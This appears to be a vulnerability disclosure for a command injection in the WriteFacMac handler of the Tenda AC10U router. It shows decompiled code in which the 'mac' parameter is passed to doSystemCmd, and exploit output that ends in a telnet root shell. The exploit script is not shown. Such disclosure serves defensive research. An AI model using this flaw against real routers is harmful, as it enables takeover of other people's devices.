

Tenda AC10U Command injection RCE II. vulnerability

Tested firmware

AC10U V1.0 Firmware V15.03.06.49_multi

<https://www.tendacn.com/en/download/detail-3802.html>

Tested hardware

<https://www.tendacn.com/product/ac10u.html>

Description

Command injection vulnerability exists in the "WriteFacMac" functionality of Tenda AC10U Router AC1200 Smart Dual-Band Gigabit WiFi Router (AC10U V1.0 Firmware V15.03.06.49_multi). The vulnerability is caused because the client-controlled "mac" value is passed directly to the doSystemCmd function.

```
CodeBrowser: TendaAC10/httpd
File Edit Analysis Graph Navigation Search Select Tools Window Help
Decompile: formWriteFacMac - (httpd)
1
2 void formWriteFacMac(webs_t wp, char_t *path, char_t *query)
3
4 {
5     char_t *pcVar1;
6     char_t *mac;
7
8     pcVar1 = websGetVar(wp, "mac", "00:01:02:11:22:33");
9     websWrite(wp, "modify mac only.");
10    doSystemCmd("cfm mac %s", pcVar1);
11    websDone(wp, 200);
12    return;
13 }
14
```

```
(kali@kali)-[~/iot/tenda/AC10U]
$ python3 tenda_ac10u_exploit.py
[+] Payload sent!
[+] <Response [200]>
[+] Command injection succesfull!
[+] Telnet is up!
Trying 192.168.0.1 ...
Connected to 192.168.0.1.
Escape character is '^]'.

~ # ls
bin          etc_ro      lib         root        tmp         webroot
dev          home       mnt        sbin        usr         webroot_ro
etc          init       proc       sys         var

~ # ifconfig
br0          Link encap:Ethernet HWaddr 58:D9:D5:4E:62:60
            inet addr:192.168.0.1 Bcast:192.168.0.255 Mask:255.255.255.0
            UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
            RX packets:784677 errors:0 dropped:483 overruns:0 frame:0
            TX packets:740938 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:0
            RX bytes:41601610 (39.6 MiB) TX bytes:44818548 (42.7 MiB)
```